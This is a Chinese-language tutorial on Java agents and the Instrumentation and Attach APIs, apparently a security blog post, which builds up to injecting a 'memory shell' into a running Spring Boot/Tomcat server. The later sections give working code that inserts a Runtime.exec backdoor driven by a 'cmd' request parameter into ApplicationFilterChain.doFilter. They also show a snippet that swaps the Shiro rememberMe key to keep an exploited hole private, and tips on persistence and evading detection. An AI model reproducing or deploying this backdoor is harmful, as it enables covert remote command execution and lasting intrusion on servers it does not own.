介绍

Java agent是一种特殊的Java程序(Jar文件),它是Instrumentation的客户端。与普通Java程序通过main方法启动不同,agent并不是一个可以单独启动的程序,而必须依附在一个Java应用程序(JVM)上,与它运行在同一个进程中,通过Instrumentation API与虚拟机交互。
在注入内存马的过程中,我们可以利用java instrumentation机制,动态的修改已加载到内存中的类里的方法,进而注入恶意的代码
Java Intrumentation 和相关应用
java作为一种强类型的语言,不通过编译就不能够进行jar包的生成。而有了java agent技术,就可以在字节码这个层面对类和方法进行修改。同时,也可以把java agent理解成一种代码注入的方式。但是这种注入比起spring的aop更加的优美。
Java agent的使用方式有两种:

  • 实现premain方法,在JVM启动前加载。
  • 实现agentmain方法,在JVM启动后加载。

premainagentmain函数声明如下,拥有Instrumentation inst参数的方法优先级更高

  1. public static void agentmain(String agentArgs, Instrumentation inst) {
  2. ...
  3. }
  4. public static void agentmain(String agentArgs) {
  5. ...
  6. }
  7. public static void premain(String agentArgs, Instrumentation inst) {
  8. ...
  9. }
  10. public static void premain(String agentArgs) {
  11. ...
  12. }

第一个参数String agentArgs就是Java agent的参数。
第二个参数Instrumentation inst相当重要,inst 是一个 java.lang.instrument.Instrumentation 的实例,由 JVM 自动传入。java.lang.instrument.Instrumentationinstrument 包中定义的一个接口,也是这个包的核心部分,集中了其中几乎所有的功能方法,例如类定义的转换和操作等等。

premain

这里简单的举例说明premain的使用,创建一个maven项目
编写premain函数

  1. import java.lang.instrument.Instrumentation;
  2. public class Main {
  3. public static void premain(String agentArgs, Instrumentation inst){
  4. for(int i=0; i < 5; i+=1){
  5. System.out.println("called premain");
  6. }
  7. }
  8. }

resources目录下创建META-INF/MANIFEST.MF,并指定Premain-Class;要注意的是,最后必须多一个换行

  1. Manifest-Version: 1.0
  2. Premain-Class: Main

image-20211125162732664
然后打包成jar文件,在Project Structure -> Artifacts -> JAR -> From modules with dependencies中配置
image-20211125162926179
默认选项就行
image-20211125162819989
然后选择Build -> Build Artifacts -> Build
会在out/artifacts/javaagent_jar目录下生成对应的jar文件
image-20211125163145403
随便找个jar文件示例,比如我们写个hello word,使用 -javaagent:agent.jar 参数执行

  1. java -javaagent:javaagent.jar -jar hello.jar

image-20211125163755303
可以发现在hello.jar输出Hello world之前就执行了,具体执行流程大致如下
premain-流程
然而这种方法存在一定的局限性:只能在启动时使用-javaagent参数指定
在实际环境中,目标的JVM通常都是已经启动的状态,无法预先加载premain。相比之下,agentmain更加实用。

agentmain

写一个agentmainpremain差不多,只需要在META-INF/MANIFEST.MF中加入Agent-Class:即可。

  1. Manifest-Version: 1.0
  2. Agent-Class: AgentMain

不同的是,这种方法不是通过JVM启动前的参数来指定的,官方为了实现启动后加载,提供了Attach API。Attach API 很简单,只有 2 个主要的类,都在 com.sun.tools.attach 包里面。着重关注的是VitualMachine这个类。

需要依赖VitualMachineloadAgent达到attach的目的

VirtualMachine

字面意义表示一个Java 虚拟机,也就是程序需要监控的目标虚拟机,提供了获取系统信息、 loadAgentattachdetach 等方法,可以实现的功能可以说非常之强大 。该类允许我们通过给attach方法传入一个jvm的pid(进程id),远程连接到jvm上 。代理类注入操作只是它众多功能中的一个,通过loadAgent方法向jvm注册一个代理程序agent,在该agent的代理程序中会得到一个Instrumentation实例。
Java成神之路——javaAgent
具体的用法看一下官方给的例子大概就理解了:

  1. // com.sun.tools.attach.VirtualMachine
  2. // 下面的示例演示如何使用VirtualMachine:
  3. // attach to target VM
  4. VirtualMachine vm = VirtualMachine.attach("2177");
  5. // start management agent
  6. Properties props = new Properties();
  7. props.put("com.sun.management.jmxremote.port", "5000");
  8. vm.startManagementAgent(props);
  9. // detach
  10. vm.detach();
  11. // 在此示例中,我们附加到由进程标识符2177标识的Java虚拟机。然后,使用提供的参数在目标进程中启动JMX管理代理。最后,客户端从目标VM分离。

下面列几个这个类提供的方法:

  • com.sun.tools.attach.VirtualMachine ``` public abstract class VirtualMachine { // 获得当前所有的JVM列表 public static List list() { … }

    // 根据pid连接到JVM public static VirtualMachine attach(String id) { … }

    // 断开连接 public abstract void detach() {}

    // 加载agent,agentmain方法靠的就是这个方法 public void loadAgent(String agent) { … }

}

  1. ### 实现举例
  2. - Attach.java(找到进程,加载`agentMain.jar`

import com.sun.tools.attach.AgentInitializationException; import com.sun.tools.attach.AgentLoadException; import com.sun.tools.attach.AttachNotSupportedException; import com.sun.tools.attach.VirtualMachine;

import java.io.IOException;

public class Attach { public static void main(String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException { if(args.length == 2){ String pid = args[0]; String jarName = args[1];

  1. System.out.println("attach 的 pid ==> " + pid);
  2. System.out.println("attach 的 jarName ==> " + jarName);
  3. // 连接到JVM
  4. VirtualMachine virtualMachine = VirtualMachine.attach(pid);
  5. // 加载agentmain
  6. virtualMachine.loadAgent(jarName);
  7. // 断开连接
  8. virtualMachine.detach();
  9. System.out.println("ends");
  10. }
  11. else{
  12. System.out.println("至少2个参数");
  13. // 列出所有的jvm
  14. System.out.println(VirtualMachine.list());
  15. }
  16. }

}

  1. - AgentMain.java(想要动态实现的代码)

import java.lang.instrument.Instrumentation;

public class AgentMain { public static void agentmain(String agentArgs, Instrumentation inst) { for(int i=0; i < 5; i+=1){ System.out.println(“called agentmain”); } } }

  1. - 可以写一起打包成一个jar,也可以分开打包成2个,问题都不大,只要`MANIFST.MF`没问题就行

Manifest-Version: 1.0 PreMain-Class: PreMain Agent-Class: AgentMain Main-Class: Attach

  1. - 找一下想要操作的jvmpid(也可以用上面的`list()`方法看到pid
  2. ![image-20211126132236606](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646990341389-82f56896-f624-4682-acee-df561151edfb.png)
  3. - 配置参数

java -jar attach.jar 63242 agentMain.jar

  1. 也可以手动在idea里面配置好<br />![image-20211126132408117](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646990344265-59c8c1de-6b6d-40c2-b895-dc71cf8d2b33.png)
  2. - 运行
  3. ![image-20211126132804923](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646990346185-32ef8da0-58d2-4fdb-95fb-338b6d4e23fa.png)
  4. - 转到我们想要attachtomcat中看看效果
  5. ![image-20211126132849089](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646990347557-9ffbfcc3-72f3-4bce-ba26-6ffc8e055b20.png)
  6. ## Instrumentation
  7. 刚才说了第二个参数`Instrumentation inst`相当重要,inst 是一个 `java.lang.instrument.Instrumentation` 的实例,由 JVM 自动传入。`java.lang.instrument.Instrumentation` `instrument` 包中定义的一个接口,也是这个包的核心部分,集中了其中几乎所有的功能方法,例如类定义的转换和操作等等。<br />下面列出这个类的一些方法,更加详细的介绍和方法,可以参照[官方文档](61516acf6623f9121e85487fc00fc898),也可以看这个类源码里面的说明

public interface Instrumentation {

  1. // 增加一个 Class 文件的转换器,转换器用于改变 Class 二进制流的数据,参数 canRetransform 设置是否允许重新转换。在类加载之前,重新定义 Class 文件,ClassDefinition 表示对一个类新的定义,如果在类加载之后,需要使用 retransformClasses 方法重新定义。addTransformer方法配置之后,后续的类加载都会被Transformer拦截。对于已经加载过的类,可以执行retransformClasses来重新触发这个Transformer的拦截。类加载的字节码被修改后,除非再次被retransform,否则不会恢复。
  2. void addTransformer(ClassFileTransformer transformer, boolean canRetransform);
  3. // 删除一个类转换器
  4. boolean removeTransformer(ClassFileTransformer transformer);
  5. // 在类加载之后,重新定义 Class。这个很重要,该方法是1.6 之后加入的,事实上,该方法是 update 了一个类。
  6. void retransformClasses(Class<?>... classes) throws UnmodifiableClassException;
  7. // 判断目标类是否能够修改。
  8. boolean isModifiableClass(Class<?> theClass);
  9. // 获取目标已经加载的类。
  10. @SuppressWarnings("rawtypes")
  11. Class[] getAllLoadedClasses();
  12. ......

}

  1. ### 获取所有可修改类
  2. 先介绍`getAllLoadedClasses``isModifiableClasses`。顾名思义:
  3. - `getAllLoadedClasses`:获取所有已经加载的类。
  4. - `isModifiableClasses`:判断某个类是否能被修改。
  5. 修改刚才的`AgentMain.java`,并编译

import java.lang.instrument.Instrumentation;

public class AgentMain { public static void agentmain(String agentArgs, Instrumentation inst) { Class[] allLoadedClasses = inst.getAllLoadedClasses(); for (Class cls : allLoadedClasses){ System.out.println(cls.getName()); System.out.print(“isModifiableClass: “); System.out.println(inst.isModifiableClass(cls)?”true”:”false”); } } }

  1. 修改`Attach.java`,并重新attachjvm

import com.sun.tools.attach.AgentInitializationException; import com.sun.tools.attach.AgentLoadException; import com.sun.tools.attach.AttachNotSupportedException; import com.sun.tools.attach.VirtualMachine;

import java.io.IOException;

public class Attach { public static void main(String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException { // 列出所有的jvm System.out.println(VirtualMachine.list()); String pid = “68588”; String jarName = “/Users/d4m1ts/d4m1ts/java/javaagent/out/artifacts/javaagent_jar/javaagent.jar”; // 连接到JVM VirtualMachine virtualMachine = VirtualMachine.attach(pid); // 加载agentmain virtualMachine.loadAgent(jarName); // 断开连接 virtualMachine.detach();

  1. System.out.println("ends");
  2. }

}

  1. 运行后<br />![image-20211126150313407](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646990348687-39384ee1-9a3a-45c6-afc1-0487ad35e615.png)<br />得到了目标JVM上所有已经加载的类,并且知道了这些类能否被修改
  2. ### 修改类
  3. 使用`addTransformer()``retransformClasses()`可以篡改Class的字节码<br />首先再看一下这两个方法的声明:

public interface Instrumentation {

  1. // 增加一个 Class 文件的转换器,转换器用于改变 Class 二进制流的数据,参数 canRetransform 设置是否允许重新转换。在类加载之前,重新定义 Class 文件,ClassDefinition 表示对一个类新的定义,如果在类加载之后,需要使用 retransformClasses 方法重新定义。addTransformer方法配置之后,后续的类加载都会被Transformer拦截。对于已经加载过的类,可以执行retransformClasses来重新触发这个Transformer的拦截。类加载的字节码被修改后,除非再次被retransform,否则不会恢复。
  2. void addTransformer(ClassFileTransformer transformer, boolean canRetransform);
  3. // 删除一个类转换器
  4. boolean removeTransformer(ClassFileTransformer transformer);
  5. // 在类加载之后,重新定义 Class。这个很重要,该方法是1.6 之后加入的,事实上,该方法是 update 了一个类。
  6. void retransformClasses(Class<?>... classes) throws UnmodifiableClassException;
  7. ......

}

  1. `addTransformer()`方法中,有一个参数`ClassFileTransformer transformer`。这个参数将帮助我们完成字节码的修改工作。
  2. #### ClassFileTransformer
  3. `ClassFileTransformer`也是一个接口,它提供了`transform`方法,此方法的实现可能会转换提供的类文件并返回新的替换类文件。<br />![image-20211126150952479](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646990349726-dde6d338-7cb7-47f6-85ea-73aa092f6745.png)<br />接口注释简单概括一下:
  4. 1. 使用`Instrumentation.addTransformer()`来加载一个转换器。
  5. 1. 转换器的返回结果(`transform()`方法的返回值)将成为转换后的字节码。
  6. 1. 对于没有加载的类,会使用`ClassLoader.defineClass()`定义它;对于已经加载的类,会使用`ClassLoader.redefineClasses()`重新定义,并配合`Instrumentation.retransformClasses`进行转换。
  7. 现在已经知道了怎样能修改Class的字节码,具体的做法还需要用到另一个类库`javassist`来获取字节码,不了解的可以网上找文章了解下,可以简单理解为:通过这个类库可以直接创建一个class字节码文件
  8. #### javassist
  9. 因为我们的目的只是修改某个类的某个方法,所以着重介绍下`CtMethod`,其他需要的简单过一下
  10. ##### 依赖
  1. <dependency>
  2. <groupId>org.javassist</groupId>
  3. <artifactId>javassist</artifactId>
  4. <version>3.28.0-GA</version>
  5. </dependency>
  1. ##### ClassPool
  2. 这个类是`javassist`的核心组件之一。<br />来看一下官方对他的介绍:
  3. > `ClassPool``CtClass`对象的容器。`CtClass`对象必须从该对象获得。如果`get()`在此对象上调用,则它将搜索表示的各种源`ClassPath` 以查找类文件,然后创建一个`CtClass`表示该类文件的对象。创建的对象将返回给调用者。
  4. 简单来说,这就是个容器,存放的是`CtClass`对象。<br />获得方法: `ClassPool cp = ClassPool.getDefault();`。通过 `ClassPool.getDefault()` 获取的 `ClassPool` 使用 JVM 的类搜索路径。**如果程序运行在 JBoss 或者 Tomcat Web 服务器上,ClassPool 可能无法找到用户的类**,因为 Web 服务器使用多个类加载器作为系统类加载器。在这种情况下,**ClassPool 必须添加额外的类搜索路径**。

cp.insertClassPath(new ClassClassPath());

  1. ##### CtClass
  2. 可以把它理解成加强版的`Class`对象,需要从`ClassPool`中获得。<br />获得方法:`CtClass cc = cp.get(ClassName)`
  3. ##### CtMethod
  4. 同理,可以理解成加强版的`Method`对象。<br />获得方法:`CtMethod m = cc.getDeclaredMethod(MethodName)`。<br />这个类提供了一些方法,使我们可以便捷的修改方法体:

public final class CtMethod extends CtBehavior { // 主要的内容都在父类 CtBehavior 中 }

// 父类 CtBehavior public abstract class CtBehavior extends CtMember { // 设置方法体 public void setBody(String src);

  1. // 插入在方法体最前面
  2. public void insertBefore(String src);
  3. // 插入在方法体最后面
  4. public void insertAfter(String src);
  5. // 在方法体的某一行插入内容
  6. public int insertAt(int lineNum, String src);

}

  1. 传递给方法 `insertBefore()` `insertAfter()` `insertAt()` String 对象**是由`Javassist` 的编译器编译的**。 由于编译器支持语言扩展,以 $ 开头的几个标识符有特殊的含义:
  2. |
  3. 符号
  4. | 含义
  5. |
  6. | --- | --- |
  7. |
  8. `$0`, `$1`, `$2`, ...
  9. | `$0 = this; $1 = args[1] .....`
  10. |
  11. |
  12. `$args`
  13. | 方法参数数组.它的类型为 `Object[]`
  14. |
  15. |
  16. `$$`
  17. | 所有实参。例如, `m($$)` 等价于 `m($1,$2,`...`)`
  18. |
  19. |
  20. `$cflow(`...`)`
  21. | `cflow` 变量
  22. |
  23. |
  24. `$r`
  25. | 返回结果的类型,用于强制类型转换
  26. |
  27. |
  28. `$w`
  29. | 包装器类型,用于强制类型转换
  30. |
  31. |
  32. `$_`
  33. | 返回值
  34. |
  35. 详细的内容可以看[Javassist 使用指南(二)](https://www.jianshu.com/p/b9b3ff0e1bf8)。
  36. #### 示例
  37. 举例说明一下是如何动态修改类字节码的<br />先说2个注意点:
  38. - 如果在使用过程中找不到javassist包中的类(因为目标环境也需要这个类库,不然会找不到Class),那么可以使用URLCLassLoader+反射的方式调用
  39. - 需要在`agent.jar`中的`MANIFEST.MF`中添加`Can-Retransform-Classes: true`,不然会抛出异常`UnmodifiableClassException`
  40. ---
  41. - 被动态修改的类源码,其中`Hello`类的`hello`方法是我们要动态修改的目标,用`Scanner`是为了保证程序不停止,给我们留有操作的时间

// Main.java import java.util.Scanner;

public class Main { public static void main(String[] args) { Hello h1 = new Hello(); h1.hello();

  1. System.out.println("等待输入...");
  2. new Scanner(System.in).next();
  3. Hello h2 = new Hello();
  4. h2.hello();
  5. }

}

// Hello.java public class Hello { public void hello(){ System.out.println(“hello world”); } }

  1. - 运行并获取pid69484
  2. ![image-20211126164528918](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646990351284-483223cc-3d01-439c-b043-2233d160fb22.png)
  3. - attach代码还是差不多,主要是给`agent.jar`附加进去

import com.sun.tools.attach.AgentInitializationException; import com.sun.tools.attach.AgentLoadException; import com.sun.tools.attach.AttachNotSupportedException; import com.sun.tools.attach.VirtualMachine;

import java.io.IOException;

public class Attach { public static void main(String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException { // 列出所有的jvm System.out.println(VirtualMachine.list()); String pid = “69484”; String jarName = “/Users/d4m1ts/d4m1ts/java/javaagent/out/artifacts/javaagent_jar/javaagent.jar”; // 连接到JVM VirtualMachine virtualMachine = VirtualMachine.attach(pid); // 加载agentmain virtualMachine.loadAgent(jarName); // 断开连接 virtualMachine.detach();

  1. System.out.println("ends");
  2. }

}

  1. - AgentMain(主要是添加Transformer和触发Transformer

// AgentMain.java import java.lang.instrument.Instrumentation; import java.lang.instrument.UnmodifiableClassException;

public class AgentMain { public static void agentmain(String agentArgs, Instrumentation inst) throws UnmodifiableClassException { Class[] allLoadedClasses = inst.getAllLoadedClasses(); for (Class cls : allLoadedClasses){ // 定位到类 if (cls.getName() == TransformerDemo.editClassName){ // 添加Transformer inst.addTransformer(new TransformerDemo(), true); // 触发Transformer inst.retransformClasses(cls); } }

  1. }

}

// TransformerDemo.java import javassist.*;

import java.io.IOException; import java.lang.instrument.ClassFileTransformer; import java.lang.instrument.IllegalClassFormatException; import java.security.ProtectionDomain;

// addTransformer()的第一个参数需要ClassFileTransformer这个类的对象 public class TransformerDemo implements ClassFileTransformer { public static String editClassName = “Hello”; public static String editMethod = “hello”;

  1. @Override
  2. public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
  3. ClassPool classPool = ClassPool.getDefault();
  4. // 添加额外的类搜索路径
  5. if (classBeingRedefined != null){
  6. ClassClassPath classClassPath = new ClassClassPath(classBeingRedefined);
  7. classPool.insertClassPath(classClassPath);
  8. }
  9. // 修改方法hello(),返回 byte[] 字节码
  10. try {
  11. CtClass ctClass = classPool.get(editClassName);
  12. CtMethod ctMethod = ctClass.getDeclaredMethod(editMethod);
  13. String modifySource = "System.out.println(\"TransformerDemo attached\");";
  14. ctMethod.setBody(modifySource);
  15. byte[] bytes = ctClass.toBytecode();
  16. ctClass.detach();
  17. return bytes;
  18. } catch (NotFoundException e) {
  19. e.printStackTrace();
  20. } catch (CannotCompileException e) {
  21. e.printStackTrace();
  22. } catch (IOException e) {
  23. e.printStackTrace();
  24. }
  25. return new byte[0];
  26. }

}

  1. - 结果,可以看到第二次执行`hello()`方法时发现该方法被动态的修改了
  2. ![image-20211126175454346](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646990352295-4c9dcc23-36bd-408d-869a-ef3eda05c691.png)
  3. ## 内存马
  4. 既然现在已经能够修改方法体了,那就可以将木马放到**某个一定会执行**的方法内,这样的话,当访问任意路由的时候,就会调用木马。那么现在的问题就变成了,注入到哪一个类的哪个方法比较好。<br />众所周知,Spring boot 中内嵌了一个`embed Tomcat`作为容器,而在网上流传着很多版本的 Tomcat“无文件”内存马。这些内存马大多数都是通过**重写/添加`Filter`**来实现的。既然Spring boot 使用了`Tomcat`,那么能不能照葫芦画瓢,通过`Filter`,实现一个Spring boot的内存马呢?当然是可以的。
  5. ### Spring Boot的Filter
  6. 给写的`Controller`下个断点,可以看到执行到`controller`的时候,会经过很多的`doFilter``internalDoFilter`方法,它们大多来自于`ApplicationFilterChain`这个类。<br />![image-20211126181552570](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646990353157-edce60ac-4fc2-42ed-96cf-5bc944c8f201.png)<br />看看`ApplicationFilterChain`的`doFilter`方法:

@Override public void doFilter(ServletRequest request, ServletResponse response) throws IOException, ServletException {

  1. if( Globals.IS_SECURITY_ENABLED ) {
  2. final ServletRequest req = request;
  3. final ServletResponse res = response;
  4. try {
  5. java.security.AccessController.doPrivileged(
  6. new java.security.PrivilegedExceptionAction<Void>() {
  7. @Override
  8. public Void run()
  9. throws ServletException, IOException {
  10. internalDoFilter(req,res);
  11. return null;
  12. }
  13. }
  14. );
  15. } catch (PrivilegedActionException pe) {
  16. ......
  17. }
  18. } else {
  19. internalDoFilter(request,response);
  20. }

}

  1. 乍一看内容挺多,其实总结下来就是调用`this.internalDoFilter()`。所以再来简单看一下`internalDoFilter()`方法:

private void internalDoFilter(ServletRequest request, ServletResponse response) throws IOException, ServletException {

  1. // Call the next filter if there is one
  2. if (pos < n) {
  3. ......
  4. }

}

  1. 这两个个方法拥有`Request``Response`参数。如果能重写其中一个,那就能控制所有的请求和响应!因此,用来作为内存马的入口点简直完美。这里我选择`doFilter()`方法,具体原因会在之后提到。
  2. ### Java agent修改doFilter
  3. > 注意:
  4. > 1. 每次attach之前,需要访问一下springweb页面,要让Spring `Initializing Spring DispatcherServlet 'dispatcherServlet'`,加载一下需要的类,不然不会attach成功,因为找不到我们要修改的类,所以也找不到方法,也就无法修改成功
  5. > 1. shell中所有类都要用全称,比如`java.io.InputStream`,不然可能会抛出异常
  6. > 1. 如果是完全替代方法,记得用{}包裹
  7. > 1. 可能会出现各种`java.lang.NoClassDefFoundError`的问题,跟一下这个断点,就会发现缺少各种各样的class文件,跟了一下,发现可能是动态修改字节码后,整个类的class都会出现异常,太离谱了,也不知道网上的大哥们为啥没遇到
  8. > 1. 接上一个问题,动态修改过的class文件反编译后代码是没问题的,但是还是不知道为啥解决不了找不到类定义的问题
  9. 对刚才的agent代码稍微修改即可(实在重写不了`doFilter`方法了,分析了几天,重写了class就算代码没问题,也会出现`java.lang.NoClassDefFoundError`的问题)
  10. > 并且这里为了不破坏原来的方法结构,我们不用`CtMethod``setSource`,而是用`insertBefore`方法
  11. - AgentMain.java

// AgentMain.java import java.lang.instrument.Instrumentation; import java.lang.instrument.UnmodifiableClassException;

public class AgentMain { public static void agentmain(String agentArgs, Instrumentation inst) throws UnmodifiableClassException { Class[] allLoadedClasses = inst.getAllLoadedClasses(); for (Class cls : allLoadedClasses){ // 定位到类 if (cls.getName() == TransformerDemo.editClassName){ // 添加Transformer inst.addTransformer(new TransformerDemo(), true); // 触发Transformer inst.retransformClasses(cls); } }

  1. }

}

// TransformerDemo.java import javassist.*;

import java.io.IOException; import java.lang.instrument.ClassFileTransformer; import java.lang.instrument.IllegalClassFormatException; import java.security.ProtectionDomain;

// addTransformer()的第一个参数需要ClassFileTransformer这个类的对象 public class TransformerDemo implements ClassFileTransformer { public static String editClassName = “org.apache.catalina.core.ApplicationFilterChain”; public static String editMethod = “doFilter”; public static String memshell = “” + “ javax.servlet.http.HttpServletRequest req = $1;\n” + “ javax.servlet.http.HttpServletResponse res = $2;\n” + “ java.lang.String cmd = req.getParameter(\”cmd\”);\n” + “\n” + “ if (cmd != null){\n” + “ System.out.println(cmd);” + “ try {\n” + “ java.lang.Runtime.getRuntime().exec(cmd);\n” + “ } catch (Exception e){\n” + “ e.printStackTrace();\n” + “ }\n” + “ }\n” + “ else{\n” + “ internalDoFilter(req,res);\n” + “ }\n” + “”;

  1. @Override
  2. public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
  3. ClassPool classPool = ClassPool.getDefault();
  4. // 添加额外的类搜索路径
  5. if (classBeingRedefined != null) {
  6. ClassClassPath classClassPath = new ClassClassPath(classBeingRedefined);
  7. classPool.insertClassPath(classClassPath);
  8. }
  9. // 修改方法doFilter(),返回 byte[] 字节码
  10. try {
  11. CtClass ctClass = classPool.get(editClassName);
  12. CtMethod ctMethod = ctClass.getDeclaredMethod(editMethod);
  13. ctMethod.insertBefore(memshell);
  14. ctClass.writeFile("/Users/d4m1ts/d4m1ts/java/Temp/out/artifacts/temp_jar");
  15. System.out.println(memshell);
  16. System.out.println("injection success");
  17. byte[] bytes = ctClass.toBytecode();
  18. ctClass.detach();
  19. return bytes;
  20. } catch (NotFoundException e) {
  21. e.printStackTrace();
  22. } catch (CannotCompileException e) {
  23. e.printStackTrace();
  24. } catch (IOException e) {
  25. e.printStackTrace();
  26. }
  27. return new byte[0];
  28. }

}

  1. 给上面的打包成`agent.jar`,然后通过虚拟机attachspring jvm中,再执行命令即可(理论上是可以的,网上的文章也都可以成功,但我实在是调不出来为啥了)<br />![image-20211208100426485](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646990354753-6617d06c-deb4-45d5-8b68-61b9425e2c21.png)
  2. ## 拓展操作
  3. 通过加载agent可以修改很多类的字节码,所以利用起来操作的空间也很大,不仅仅是内存马这一个点。<br />一个比较多的利用方法,就是修改`shiro`key,这样可以让这个漏洞仅自己可用,避免共享目标权限<br />**重点:**<br />**在解析rememberMe的时候,先将其base64解码,然后使用AES解密,在AES解密的时候,会调用`org.apache.shiro.mgt.AbstractRememberMeManager#getDecryptionCipherKey()`**,更改掉这个函数的返回值,就可以更改解密的密钥。

// 使用insertBefore() $0.setCipherKey(org.apache.shiro.codec.Base64.decode(“4AvVhmFLUs0KTA3Kprsdag==”));

// 使用setBody() return (org.apache.shiro.codec.Base64.decode(“4AvVhmFLUs0KTA3Kprsdag==”));

```

查杀

agent 内存马相比 filter 内存马,会多一步就是我们需要将我们自己的 agent.jar 传到目标上,然后利用代码将 agent.jar 进行注入,注入之后我们就可以将 agent.jar 进行删除,agent 内存马相比 filter 这些内存马相对更难查杀一些

  • 基于javaAgent内存马检测查杀指南

    风险

    注入agent内存马后,可能存在我上面那种整个网站崩溃的情况;网上有说可能是因为虚拟内存不够了而导致的,但是我设置大了虚拟内存还是不行。。。

所以实战中尽量还是用API型的内存马

内存马复活

换个说法,如何防止内存马重启后失效;
其实也很简单,就是在jvm关闭前,把attach.jaragentMain.jar都写到磁盘上,然后无限调用attach.jar尝试attach到jvm中;
但是这样感觉更容易被发现了,所谓有得必有失吧emmm

总览

Java Agent Overview